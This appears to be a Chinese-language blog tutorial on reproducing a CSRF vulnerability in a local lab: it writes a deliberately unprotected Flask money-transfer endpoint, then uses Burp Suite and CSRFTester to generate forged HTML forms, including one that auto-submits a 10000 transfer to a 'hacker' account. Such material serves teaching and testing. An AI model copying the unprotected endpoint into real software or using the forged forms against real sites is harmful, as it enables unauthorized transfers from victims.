CSRF漏洞復現及測試工具講解

橙子全栈测试笔记發表於2024-06-13

一、Python編寫一個存在CSRF漏洞

① 編寫html網頁

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>轉賬</title>
</head>
<body>
    <h1>轉賬</h1>
    <form action="/transfer" method="post">
        <label for="amount">金額:</label>
        <input type="text" name="amount" required>
        <br>
        <label for="recipient">接收者:</label>
        <input type="text" name="recipient" required>
        <br>
        <input type="submit" value="提交">
    </form>
</body>
</html>

② 編寫網頁請求介面程式碼

from flask import Flask, request, render_template


app = Flask(__name__, template_folder='template')
@app.route('/')
def index():
    return render_template('transfer.html')


@app.route('/transfer', methods=['GET', 'POST'])
def transfer():
    if request.method == 'POST':
        amount = request.form['amount']
        recipient = request.form['recipient']
        # 執行轉賬操作,將指定金額從當前使用者轉移到指定的接收者賬戶
        return f"成功轉賬 {amount} 給 {recipient}"
    return render_template(r'transfer.html')


if __name__ == '__main__':
    app.run(host='10.162.95.61')

③ 執行程式碼

④ 測試網頁功能是否正常

輸入轉賬進入,接收轉賬人員,點選

這個示例程式碼存在一個CSRF漏洞。攻擊者可以透過構造惡意的HTML表單或JavaScript程式碼,誘導使用者點選連結或提交表單,從而在使用者不知情的情況下執行轉賬操作。由於沒有適當的CSRF防護措施,攻擊者可以利用這個漏洞進行非法的轉賬操作

二、BurpSuite抓取/攔截轉賬請求

我們的目標是測試這個轉賬功能是否存在CSRF漏洞。

(1)執行上面例子的Python程式碼並訪問主頁

(2)輸入轉賬金額和接收人點選提交,BurpSuite會抓取或攔截轉賬請求。

抓包找到該介面-右鍵-相關工具-生成對應POC

複製html本地儲存生成的POC檔案,檔案格式XXX.html

生成的惡意HTML頁面如下所示:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://10.162.95.61:5000/transfer" method="POST">
      <input type="hidden" name="amount" value="10000" />
      <input type="hidden" name="recipient" value="test" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

將接收轉賬的賬號修改成自己的賬號,如hacker

訪問這個惡意的網頁點選惡意網頁中的“Submit request”按鈕

如果受害者點選了頁面上的“Submit request”按鈕,瀏覽器會傳送轉賬請求到目標網站修改密碼頁面,導致向"hacker"賬號轉賬了10000元,這表明存在CSRF漏洞。

三、CSRFTester自動化探測工具

CSRFTester 工具的測試原理大概是這樣的, 使用代理抓取我們在瀏覽器中訪問過的所有的連線以及 所有的表單等資訊,透過在 CSRFTester 中修改相應的表單等資訊,重新提交 ,相當於一次偽造客戶端請 求,如果修改過的測試請求,成功被網站伺服器接受,則說明存在 CSRF 漏洞,當然此款工具也可以被用 來進行 CSRF 攻擊。
步驟如下
(1)、設定瀏覽器代理:127.0.0.1:8008
( 2)、登入 Web 應用程式,提交表單,在 CSRF 工具中修改表單內容,檢視是否更改,如果更改表 單存在 CSRF 漏洞。
( 3)、生產 POC 程式碼。

1、啟動 CSRFTester
需要安裝 JDK8
開始錄製

備註:工具預設代理127.0.0.1:8008,瀏覽器代理外掛設定對應的埠即可

修改表單內容

生成 html 檔案

表單內容僅保留方框中我們提交的資訊,其他內容一律刪除,然後儲存退出

<form method="POST" name="form2" action="http://10.162.95.61:5000/transfer">
<input type="hidden" name="amount" value="10000"/>
<input type="hidden" name="recipient" value="hacker1111"/>
</form>  

執行生成的html檔案

  

  

  

  

相關文章